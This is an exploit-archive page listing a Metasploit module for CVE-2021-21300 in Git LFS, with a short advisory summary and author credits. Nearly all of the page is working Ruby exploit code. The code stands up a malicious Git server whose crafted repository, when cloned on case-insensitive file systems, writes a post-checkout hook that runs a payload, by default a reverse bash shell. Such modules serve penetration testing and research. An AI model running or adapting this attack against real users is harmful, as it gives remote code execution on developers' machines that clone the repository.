what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Git LFS Clone Command Execution

Git LFS Clone Command Execution
Posted Aug 31, 2021
Authored by Shelby Pace, Matheus Tavares, Johannes Schindelin | Site metasploit.com

Git clients that support delay-capable clean / smudge filters and symbolic links on case-insensitive file systems are vulnerable to remote code execution while cloning a repository. Usage of clean / smudge filters through Git LFS and a case-insensitive file system changes the checkout order of repository files which enables the placement of a Git hook in the .git/hooks directory. By default, this Metasploit module writes a post-checkout script so that the payload will automatically be executed upon checkout of the repository.

tags | exploit, remote, code execution
advisories | CVE-2021-21300
SHA-256 | e98b3afb62859d7020a7dd7d9fa1db727066effb6fcaf6be5eb8fbff19874b9d

Git LFS Clone Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Git
include Msf::Exploit::Git::SmartHttp
include Msf::Exploit::Git::Lfs
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Git LFS Clone Command Exec',
'Description' => %q{
Git clients that support delay-capable clean / smudge
filters and symbolic links on case-insensitive file systems are
vulnerable to remote code execution while cloning a repository.

Usage of clean / smudge filters through Git LFS and a
case-insensitive file system changes the checkout order
of repository files which enables the placement of a Git hook
in the `.git/hooks` directory. By default, this module writes
a `post-checkout` script so that the payload will automatically
be executed upon checkout of the repository.
},
'License' => MSF_LICENSE,
'Author' => [
'Johannes Schindelin', # Discovery
'Matheus Tavares', # Discovery
'Shelby Pace' # Metasploit module
],
'References' => [
[ 'CVE', '2021-21300' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2021/Apr/60' ],
[ 'URL', 'https://twitter.com/Foone/status/1369500506469527552?s=20' ]
],
'DisclosureDate' => '2021-04-26',
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' => [
[
'Git for MacOS, Windows',
{
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
}
)
)

register_options(
[
OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])
]
)

deregister_options('RHOSTS', 'RPORT')
end

def exploit
setup_repo_structure
super
end

def setup_repo_structure
link_content = '.git/hooks'
link_name = Rex::Text.rand_text_alpha(8..12).downcase
link_obj = GitObject.build_blob_object(link_content)

dir_name = link_name.upcase
git_attr = '.gitattributes'

git_hook = 'post-checkout'
@hook_payload = "#!/bin/sh\n#{payload.encoded}"
ptr_file = generate_pointer_file(@hook_payload)

# need to initially send the pointer file
# then send the actual object when Git LFS requests it
git_hook_ptr = GitObject.build_blob_object(ptr_file)

git_attr_content = "#{dir_name}/#{git_hook} filter=lfs diff=lfs merge=lfs"
git_attr_obj = GitObject.build_blob_object(git_attr_content)

sub_file_content = Rex::Text.rand_text_alpha(0..150)
sub_file_name = Rex::Text.rand_text_alpha(8..12)
sub_file_obj = GitObject.build_blob_object(sub_file_content)

register_dir_for_cleanup('.git')
register_files_for_cleanup(git_attr, link_name)

# create subdirectory which holds payload
sub_tree =
[
{
mode: '100644',
file_name: sub_file_name,
sha1: sub_file_obj.sha1
},
{
mode: '100755',
file_name: git_hook,
sha1: git_hook_ptr.sha1
}
]

sub_tree_obj = GitObject.build_tree_object(sub_tree)

# root of repository
tree_ent =
[
{
mode: '100644',
file_name: git_attr,
sha1: git_attr_obj.sha1
},
{
mode: '040000',
file_name: dir_name,
sha1: sub_tree_obj.sha1
},
{
mode: '120000',
file_name: link_name,
sha1: link_obj.sha1
}
]
tree_obj = GitObject.build_tree_object(tree_ent)
commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)

@git_objs =
[
commit, tree_obj, sub_tree_obj,
sub_file_obj, git_attr_obj, git_hook_ptr,
link_obj
]

@refs =
{
'HEAD' => 'refs/heads/master',
'refs/heads/master' => commit.sha1
}
end

def create_git_uri
"/#{Faker::App.name.downcase}.git".gsub(' ', '-')
end

def primer
@git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']
@git_addr = URI.parse(get_uri).merge(@git_repo_uri)
print_status("Git repository to clone: #{@git_addr}")
hardcoded_uripath(@git_repo_uri)
hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}")
end

def on_request_uri(cli, req)
if req.uri.include?('git-upload-pack')
request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req)
case request.type
when 'ref-discovery'
response = send_refs(request)
when 'upload-pack'
response = send_requested_objs(request)
else
fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')
end
else
response = handle_lfs_objects(req)
unless response.code == 200
cli.send_response(response)
fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')
end
end

cli.send_response(response)
end

def send_refs(req)
fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'

response = get_ref_discovery_response(req, @refs)
fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response

response
end

def send_requested_objs(req)
upload_pack_resp = get_upload_pack_response(req, @git_objs)
unless upload_pack_resp
fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')
end

upload_pack_resp
end

def handle_lfs_objects(req)
git_hook_obj = GitObject.build_blob_object(@hook_payload)

case req.method
when 'POST'
print_status('Sending payload data...')
response = get_batch_response(req, @git_addr, git_hook_obj)
fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
when 'GET'
print_status('Sending LFS object...')
response = get_requested_obj_response(req, git_hook_obj)
fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
else
fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
end

response
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close